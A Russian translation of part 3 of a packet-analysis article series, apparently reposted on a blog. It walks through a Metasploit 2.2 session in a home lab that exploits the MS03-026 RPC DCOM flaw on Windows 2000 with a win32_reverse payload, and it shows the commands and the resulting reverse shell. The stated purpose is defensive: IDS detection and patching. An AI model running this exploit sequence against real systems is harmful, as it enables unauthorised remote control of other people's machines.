Wednesday, August 23rd, 2017

Методология и средства анализа пакетов (Часть 3)

Published on Январь 30, 2009 by   ·   Комментариев нет

Благодаря изобилию средств для совершения атак использование уязвимостей на компьютере стало гораздо проще. Среди средств для совершения атак наиболее мощной является Metasploit Framework. Мы рассмотрим ее в этой части нашей статьи.

Если вы хотите увидеть другие статьи из этого цикла, пожалуйста, прочитайте:

В атаку с Metasploit!

Из первых двух частей нашего курса мы узнали, что существует большое количество средств, с помощью которых можно осуществить сканирование портов, среди них много хорошо известных средств. Также мы рассмотрели некоторые из наиболее известных программ, которые используют специалисты по сетевой безопасности для проверки надежности своей сети. Все это приводит нас к инструменту, о котором вы уже могли раньше читать в моих статьях: Metasploit Framework. Благодаря большому количеству средств для использования уязвимостей и других расширенных возможностей этот инструмент быстро завоевал популярность. Он популярно не только среди специалистов по безопасности, но также у некоторых других элементов компьютерного мира с не совсем чистыми помыслами.

Хакер, которые приспособились использовать этот инструмент, благодаря его простоте и мощным возможностям, получили превосходное оружие в свое распоряжение. Хотя для них должно быть очевидным, что для каждой уязвимости в сети, существует готовая сигнатура для определения атаки. При проектировки этого средства, его создатели HDM, и spoonm были достаточно корректны и вставили ascii сигнатуру, которую легко смогут использовать поставщики программного обеспечения для обнаружения атак. Поэтому это средство легко обнаруживается IDS. В курсе нашей статьи будет показано несколько примеров этих ascii сигнатур.

Для лучшего понимания того, как может быть атакована ваша сеть, мы атакуем компьютер в моей домашней лаборатории. Будут показаны различные атаки, как успешные, так и неуспешные. Также будет показан синтаксис использования одной из атак. Научиться пользоваться этим средством относительно просто. Следует помнить, что существует огромное количество способ, чтобы атаковать компьютер. Большинство из них основаны на использовании таких протоколов как HTTP, и FTP. Поэтому простейший способ защиты, это закрывать доступ к этим протоколам с помощью межсетевых экранов. Сложно атаковать протокол, используемый операционной системой, если он не реагирует на входящие соединения. Другими словами, вы не можете атаковать то, что не слушает.

Кто-нибудь слушает?

Все используемые нами примеры имеют открытые сокеты. Будут использоваться службы RPC, LSASS, и HTTP. Мы также попытаемся использовать несколько уязвимостей. У нас будет возможность увидеть на пакетном уровне, как это выглядит. Важно осознать не только успешную попытку вторжения, но и также неуспешную. Помня все это, давайте попробуем использовать нашу первую уязвимость с помощью Metasploit. Если вы читали другие мои статьи, вы знаете, что Metasploit можно использовать не только для win32, но и для linux. Я покажу последовательность действий, необходимых выполнить для настройки Metasploit для использования первой уязвимости, все что вам понадобиться – это повторить подобные действия для использования других уязвимостей. Ниже смотрите детальную инструкцию по использованию этой программы.

don@linux:~/framework-2.2> ./msfconsole

__.                       .__.        .__. __.
_____   _____/  |______    ____________ |  |   ____ |__|/  |_
/     \_/ __ \   __\__  \  /  ___/\____ \|  |  /  _ \|  \   __\
|  Y Y  \  ___/|  |  / __ \_\___ \ |  |_> >  |_(  <_> )  ||  |
|__|_|  /\___  >__| (____  /____  >|   __/|____/\____/|__||__|
\/     \/  v2.2    \/     \/ |__|

+ — —=[ msfconsole v2.2 [33 exploits — 33 payloads]

msf >

((Синтаксис выше показывает как вызывать msfconsole из рабочей директории))

msf > show exploits

Metasploit Framework загруженный код для использования уязвимостей
====================================

Credits

Metasploit Framework Credits

afp_loginext

AppleFileServer LoginExt PathName Buffer Overflow

apache_chunked_win32

Apache Win32 Chunked Encoding

blackice_pam_icq

ISS PAM.dll ICQ Parser Buffer Overflow

distcc_exec

DistCC Daemon Command Execution

exchange2000_xexch50

Exchange 2000 MS03-46 Heap Overflow

frontpage_fp30reg_chunked

Frontpage fp30reg.dll Chunked Encoding

ia_webmail

IA WebMail 3.x Buffer Overflow

icecast_header

Icecast (<= 2.0.1) Header Overwrite (win32)

iis50_nsiislog_post

IIS 5.0 nsiislog.dll POST Overflow

iis50_printer_overflow

IIS 5.0 Printer Buffer Overflow

iis50_webdav_ntdll

IIS 5.0 WebDAV ntdll.dll Overflow

((как видно выше, набрав текст “show exploits” вы получите список уязвимостей, готовых к использованию, я привел лишь часть списка))

msf > use msrpc_dcom_ms03_026
msf msrpc_dcom_ms03_026 >

((после того, как вы решили, какую уязвимость будете использовать наберите “use”, а дальше название уязвимости из списка))

msf msrpc_dcom_ms03_026 > show options

Настройки для использования уязвимости
===========================

Exploit:

Name

Default

Описание

———

——

——-

——————

required

RHOST

Адресс мишени

required

RPORT

135

Порт мишени

Мишень: Windows NT SP6/2K/XP/2K3 ALL

msf msrpc_dcom_ms03_026 >

((набрав команду “show options”, вы получите список настроек, которые необходимо задать, например, LHOST т.е. IP адрес компьютера, с которого вы производите атаку, и RHOST IP адрес компьютера жертвы))

msf msrpc_dcom_ms03_026 > set RHOST 192.168.1.101
RHOST -> 192.168.1.101
msf msrpc_dcom_ms03_026 > set LHOST 192.168.1.102
LHOST -> 192.168.1.102
msf msrpc_dcom_ms03_026 >

((теперь вы устанавливает настройки))

msf msrpc_dcom_ms03_026 > show payloads

Metasploit Framework используемые переполнения буфера ====================================

win32_adduser

Windows Execute net user /ADD

win32_bind

Windows Bind Shell

win32_bind_dllinject

Windows Bind DLL Inject

win32_bind_stg

Windows Staged Bind Shell

win32_bind_stg_upexec

Windows Staged Bind Upload/Execute

win32_bind_vncinject

Windows Bind VNC Server DLL Inject

win32_exec

Windows Execute Command

win32_reverse

Windows Reverse Shell

win32_reverse_dllinject

Windows Reverse DLL Inject

win32_reverse_stg

Windows Staged Reverse Shell

win32_reverse_stg_ie

Windows Reverse InlineEgg Stager

win32_reverse_stg_upexec

Windows Staged Reverse Upload/Execute

win32_reverse_vncinject

Windows Reverse VNC Server DLL Inject

((набрав команду “show payloads” вы получите список допустимых атак с использованием переполнения буфера, а в этой области Metasploit действительно лучше других аналогичных средств))

msf msrpc_dcom_ms03_026 > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf msrpc_dcom_ms03_026(win32_reverse) >

((после того, как вы выбрали требуемое переполнение буфера в ведите его, как показано выше))

msf msrpc_dcom_ms03_026(win32_reverse) > show options

Настройки
===========================

Exploit:

Name

Default

описание

———

——

————-

——————

required

RHOST

192.168.1.101

Адрес мишени

required

RPORT

135

Порт мишени

Payload:

Name

Default

описание

———

———

————-

——————————————

optional

EXITFUNC

seh

Exit technique: «process», «thread», «seh»

required

LHOST

192.168.1.102

Локальный адресе для передачи соединения

required

LPORT

4321

Локальный порт для передачи

Мишень: Windows NT SP6/2K/XP/2K3 ALL

msf msrpc_dcom_ms03_026(win32_reverse) >

((теперь, когда вы вновь наберете “show options” вы увидите всю необходимую информацию))

msf msrpc_dcom_ms03_026(win32_reverse) > set TARGET 0
TARGET -> 0

((последнее, что осталось сделать это установить поле target))

msf msrpc_dcom_ms03_026(win32_reverse) > exploit
[*] Starting Reverse Handler.
[*] Connected to REMACT with group ID 0x80b3
[*] Got connection from 192.168.1.101:1028

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>

((Последнее, что я сделал, это напечатал в командной строке команду “exploit” для запуска, и как видно из сообщения выше, действительно получил реверсивную командную строку жертвы))

Все действия, выполненные выше, показывают, что такое мощное средство как Metasploit Framework действительно очень легко в использовании. Оно очень полезно для понимания того, как выглядит использование уязвимости на пакетном уровне. Я говорил это до того, и скажу это опять, как только появляется системная брешь ее сразу же необходимо устранить необходимым обновлением.

Поэтому очень полезно для вас знать, что такое уязвимость. Нет лучшего способа для этого, чем опробовать сделать это в окружении вашей собственной лаборатории. Я пойду дальше и попробую использовать несколько других уязвимостей в последней части этой серии. И следующей и последней части, мы используем несколько других средств, с которыми познакомились ранее. Эти средства помогут нам исследовать двоичный журнал, который я сгенерировал для вас. Мы разберем этот файл журнала с помощью snort и snortsnarf. В результате мы получим файл html для исследования. До встречи!

Источник www.windowsecurity.com






















Смотрите также:

Tags: , , , , , , ,

Readers Comments (Комментариев нет)




Да человек я, человек! =)

Exchange 2007

Проведение мониторинга Exchange 2007 с помощью диспетчера System Center Operations Manager 2007 (часть 3)

Если вы хотите прочитать предыдущие части этой серии статей, перейдите по ссылкам: Проведение мониторинга Exchange 2007 с помощью диспетчера System ... [+]

Практическое рассмотрение перехода с Exchange 2003 на Exchange 2007 (часть 1)

Введение В этой статье из нескольких частей я хочу показать вам процесс, который недавно использовал для перехода с существующей среды Exchange 2003 ... [+]

Использование инструмента Exchange Server Remote Connectivity Analyzer Tool (часть 2)

Если вы пропустили первую часть этой серии, пожалуйста, прочтите ее по ссылке Использование инструмента Exchange Server Remote Connectivity Analyzer Tool (Часть ... [+]

Мониторинг Exchange 2007 с помощью диспетчера System Center Operations Manager 2007 (часть 2)

Если вы пропустили предыдущую часть этой серии статей, перейдите по ссылке Мониторинг Exchange 2007 с помощью диспетчера System Center Operations ... [+]

Подробное рассмотрение подготовки Active Directory для Exchange 2007 (часть 5)

Если вы пропустили предыдущие части этой серии статей, перейдите по ссылкам: Подробное рассмотрение подготовки Active Directory для Exchange 2007 (часть 1) ... [+]

Установка и настройка Exchange 2007 из командной строки (Часть 3)

If you missed the previous parts in this article series please read: Exchange 2007 Install and Configuration from the command line (Part ... [+]

Использование инструмента Exchange Server Remote Connectivity Analyzer Tool (часть 1)

Инструмент ExRCA Текущий выпуск инструмента предоставляется только в целях тестирования и оснащен 5 опциями: Тест подключения Outlook 2007 Autodiscover Тест подключения Outlook 2003 RPC ... [+]

Развертывание сервера Exchange 2007 Edge Transport (часть 5)

Если вы хотите прочитать предыдущие части этой серии статей, перейдите по ссылкам: Развертывание сервера Exchange 2007 Edge Transport (часть 1) Развертывание ... [+]

Установка и настройка Exchange 2007 из командной строки (часть 2)

Если вы пропустили первую статью данного цикла, пожалуйста, перейдите по ссылке: Exchange 2007 Install and Configuration from the command line (Part ... [+]

Использование интегрированных сценариев Using Exchange Server 2007 – часть 2: генерирование отчетов агента Transport AntiSpam Agent

Если вы пропустили предыдущую часть этой серии статей, перейдите по ссылке Использование интегрированных сценариев Using Exchange Server 2007 – часть ... [+]